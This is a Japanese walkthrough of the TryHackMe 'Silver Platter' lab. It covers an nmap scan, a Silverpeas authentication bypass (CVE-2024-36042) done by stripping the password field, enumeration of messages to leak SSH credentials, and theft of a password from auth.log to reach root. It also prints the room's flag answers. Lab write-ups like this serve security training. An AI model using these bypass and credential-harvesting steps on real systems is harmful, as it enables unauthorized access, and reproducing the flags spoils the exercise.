ルームについて
TryHackMe - Silver Platter:
user
フラグとroot
フラグの入手が今回の目標。
パスワードはrockyou.txt
に存在しないものを使用しているらしい。確かに攻撃には強化されていそうだが、今回も攻略していこう。
今回の環境
IPアドレスは以下の通り。
ターゲット: 10.10.61.192
ローカル(VPN): 10.9.1.210
ローカルの環境にはKali 2024.4を使用し、作業ディレクトリは~/thm/Silver-Platter
とする。
Recon(偵察)
ポートスキャンを実行する。
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.61.192
(中略)
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ cat nmap-1.txt
# Nmap 7.95 scan initiated Sat Jan 18 20:08:28 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.61.192
Nmap scan report for 10.10.61.192
Host is up, received user-set (0.24s latency).
Scanned at 2025-01-18 20:08:28 JST for 97s
Not shown: 920 closed tcp ports (reset), 77 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
8080/tcp open http-proxy syn-ack ttl 62
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.95%I=7%D=1/18%Time=678B8BB7%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,C9,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnection:\x20close\r
SF:\nContent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Sat,\
SF:x2018\x20Jan\x202025\x2011:08:38\x20GMT\r\n\r\n<html><head><title>Error
SF:</title></head><body>404\x20-\x20Not\x20Found</body></html>")%r(HTTPOpt
SF:ions,C9,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnection:\x20close\r\nCo
SF:ntent-Length:\x2074\r\nContent-Type:\x20text/html\r\nDate:\x20Sat,\x201
SF:8\x20Jan\x202025\x2011:08:39\x20GMT\r\n\r\n<html><head><title>Error</ti
SF:tle></head><body>404\x20-\x20Not\x20Found</body></html>")%r(RTSPRequest
SF:,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn
SF:ection:\x20close\r\n\r\n")%r(FourOhFourRequest,C9,"HTTP/1\.1\x20404\x20
SF:Not\x20Found\r\nConnection:\x20close\r\nContent-Length:\x2074\r\nConten
SF:t-Type:\x20text/html\r\nDate:\x20Sat,\x2018\x20Jan\x202025\x2011:08:40\
SF:x20GMT\r\n\r\n<html><head><title>Error</title></head><body>404\x20-\x20
SF:Not\x20Found</body></html>")%r(Socks5,42,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Gener
SF:icLines,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\
SF:r\nConnection:\x20close\r\n\r\n")%r(Help,42,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(SS
SF:LSessionReq,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x
SF:200\r\nConnection:\x20close\r\n\r\n")%r(TerminalServerCookie,42,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20
SF:close\r\n\r\n")%r(TLSSessionReq,42,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(Kerberos,42
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(SMBProgNeg,42,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")%r(LPDStr
SF:ing,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nC
SF:onnection:\x20close\r\n\r\n")%r(LDAPSearchReq,42,"HTTP/1\.1\x20400\x20B
SF:ad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 18 20:10:05 2025 -- 1 IP address (1 host up) scanned in 96.97 seconds
8080
ポートだけバージョンが不明と出ているが、とにかく稼働状況を出すことができた。
Port | Service | Version |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx 1.18.0 |
8080 | http-proxy | ? |
sshからパスワードクラックで出すことはタスクの説明欄を見る限り厳しそう。Webサーバーから偵察してみよう。
「HACK SMARTER SECURITY」という架空のセキュリティ企業のホームページだろうか。
少し探索していくと、/#contact
にとある情報がある。
Silverpeasがインストールされていて、ユーザー名がscr1ptkiddy
らしい。
ここを見ると、デフォルトのリンクが:8080/silverpeas
だとわかるので、早速アクセスしてみる。
ログイン画面が表示された。今のところユーザー名しか持っていないうえ、パスワードも前述の通りクラックは厳しいため別の手法を探してみる。
silverpeas login
で探していると、ある脆弱性(CVE-2024-36042)が検索結果に出てきた。
どうやらログイン時のPOSTリクエストからパスワードフィールドを削除すると、管理者であるSilverAdmin
ユーザーにログインできるそうだ。
(google-silverpeas-access-exploit)
また、さらに探ってみると、こんな脆弱性も見つかった。
管理者権限を持っていれば、他のユーザー間で送信されるメッセージを全て読み取ることができるというものだ。
ログイン画面にあるコピーライトの西暦から、ターゲットで動いているのはV6.3だと推測できる。
これらの脆弱性はV6.3.1以下で実行できるため、有用である可能性が高い。早速やってみよう。
GainAccess(侵入)
まずはCVE-2024-36042から。
Burp SuiteでSilverpeasのログイン画面を開き、Login
欄をscr1ptkiddy
に、Password
欄を適当に(今回はtest
)入力して、Burp Suiteに戻ってInterceptをオンにしておいてから、ログインでPOSTリクエストを送信する。
POST /silverpeas/AuthenticationServlet HTTP/1.1
Host: 10.10.61.192:8080
Content-Length: 42
Cache-Control: max-age=0
Accept-Language: ja
Origin: http://10.10.61.192:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.61.192:8080/silverpeas/defaultLogin.jsp
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=FBxR7w1f2mUU3dzlkZx3jzI1a49JTVF2MsjD4ocD.ebabc79c6d2a
Connection: keep-alive
Login=scr1ptkiddy&Password=test&DomainId=0
リクエストはこのようになっているが、このうち最後のPassword=test
という部分を削除してInterceptをオフにすると、見事SilverAdmin
にアクセスすることができた。
しかしこれで終わりではない。もう一つの脆弱性も使っていこう。
次もBurp Suiteを活用していく。:8080/silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=1
にアクセスし、そのときのGETリクエストをIntruderに送る。
GET /silverpeas/RSILVERMAIL/jsp/ReadMessage.jsp?ID=1 HTTP/1.1
のID=1
の1
の部分にペイロードを設定し、Payloads
の設定を以下のように変更する。
項目 | 変更後 |
---|---|
Payload type | Numbers |
From | 1 |
To | 10 (任意だが今回は少なめに設定) |
そうしたら、Start attackで開始。
レスポンスをRenderで順に確認していく。
Dude how do you always forget the SSH password? Use a password manager and quit using your silly sticky notes.
Username: tim
Password: cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol
ついにSSHのユーザー名とパスワードが入手できた。早速ログインしていく。
ターミナルに戻って、SSH接続する。
┌──(kali㉿kali)-[~/thm/Silver-Platter]
└─$ ssh tim@10.10.61.192
The authenticity of host '10.10.61.192 (10.10.61.192)' can't be established.
ED25519 key fingerprint is SHA256:WFcHcO+oxUb2E/NaonaHAgqSK3bp9FP8hsg5z2pkhuE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? <yesと入力>
Warning: Permanently added '10.10.61.192' (ED25519) to the list of known hosts.
tim@10.10.61.192's password: <timのパスワード(cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol)を入力>
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-91-generic x86_64)
(中略)
tim@silver-platter:~$
tim
としてログインできた。このままuser
フラグがないか探してみると、最初のディレクトリにuser.txt
というフラグファイルが存在し、フラグを入手することができた。
tim@silver-platter:~$ ls
user.txt
tim@silver-platter:~$ cat user.txt
THM{c4ca4238a0b923820dcc509a6f75849b}
PrivEsc(権限昇格)
最後に、権限昇格してroot
フラグを入手する。
tim
についてと他のユーザーを調べてみよう。
tim@silver-platter:~$ id
uid=1001(tim) gid=1001(tim) groups=1001(tim),4(adm)
tim@silver-platter:~$ sudo -l
[sudo] password for tim: <timのパスワード(cm0nt!md0ntf0rg3tth!spa$$w0rdagainlol)を入力>
Sorry, user tim may not run sudo on silver-platter.
tim@silver-platter:~$ ls -l /home
total 8
dr-xr-xr-x 2 root root 4096 Dec 13 2023 tim
drwxr-x--- 5 tyler tyler 4096 Dec 13 2023 tyler
どうやらtim
はadm
グループに所属し、sudoなどは何もできないらしい。また、他にtyler
というユーザーが存在することもわかった。
adm
グループに所属しているということは、/var/log
ディレクトリにアクセスできる。つまり、SSHのlogを見てパスワードを盗み出せるのだ。
tim@silver-platter:~$ cat /var/log/auth.log | grep "tyler"
tim@silver-platter:~$ cat /var/log/auth.log.1 | grep "tyler"
May 8 08:58:40 silver-platter sshd[1710]: Accepted password for tyler from 192.168.1.20 port 42258 ssh2
May 8 08:58:40 silver-platter sshd[1710]: pam_unix(sshd:session): session opened for user tyler(uid=1000) by (uid=0)
May 8 08:58:40 silver-platter systemd-logind[711]: New session 2 of user tyler.
May 8 08:58:40 silver-platter systemd: pam_unix(systemd-user:session): session opened for user tyler(uid=1000) by (uid=0)
May 8 08:58:44 silver-platter sudo: tyler : TTY=pts/0 ; PWD=/home/tyler ; USER=root ; COMMAND=/usr/bin/su
May 8 08:58:44 silver-platter sudo: pam_unix(sudo:session): session opened for user root(uid=0) by tyler(uid=1000)
May 8 08:58:44 silver-platter su: pam_unix(su:session): session opened for user root(uid=0) by tyler(uid=0)
May 8 14:00:53 silver-platter sshd[1946]: Accepted password for tyler from 192.168.1.20 port 55742 ssh2
May 8 14:00:53 silver-platter sshd[1946]: pam_unix(sshd:session): session opened for user tyler(uid=1000) by (uid=0)
May 8 14:00:53 silver-platter systemd-logind[709]: New session 2 of user tyler.
May 8 14:00:53 silver-platter systemd: pam_unix(systemd-user:session): session opened for user tyler(uid=1000) by (uid=0)
May 8 14:01:11 silver-platter sudo: tyler : TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/usr/bin/su
May 8 14:01:11 silver-platter sudo: pam_unix(sudo:session): session opened for user root(uid=0) by tyler(uid=1000)
May 8 14:01:11 silver-platter su: pam_unix(su:session): session opened for user root(uid=0) by tyler(uid=0)
tim@silver-platter:~$ cat /var/log/auth.log.2 | grep "tyler"
(中略)
Dec 13 15:40:33 silver-platter sudo: tyler : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/usr/bin/docker run --name postgresql -d -e POSTGRES_PASSWORD=_Zd_zx7N823/ -v postgresql-data:/var/lib/postgresql/data postgres:12.3
(略)
tyler
のパスワードが_Zd_zx7N823/
だということがわかった。早速アカウントを切り替えていこう。
tim@silver-platter:~$ su tyler
Password: <tylerのパスワード(_Zd_zx7N823/)を入力>
tyler@silver-platter:/home/tim$
あとは設定の不備からroot
への手掛かりを探していく。
tyler@silver-platter:/home/tim$ sudo -l
[sudo] password for tyler:
Matching Defaults entries for tyler on silver-platter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tyler may run the following commands on silver-platter:
(ALL : ALL) ALL
どうやらtyler
はsudoが全てにおいて使えるようだ。これなら簡単にroot
まで権限を上げることができる。
tyler@silver-platter:/home/tim$ sudo su -
root@silver-platter:~# id
uid=0(root) gid=0(root) groups=0(root)
はい、勝ちです。ここまでお疲れさまでした。
root@silver-platter:~# ls
root.txt snap start_docker_containers.sh
root@silver-platter:~# cat root.txt
THM{098f6bcd4621d373cade4e832627b4f6}
解答
Q1. What is the user flag?
A1. THM{c4ca4238a0b923820dcc509a6f75849b}
Q2. What is the root flag?
A2. THM{098f6bcd4621d373cade4e832627b4f6}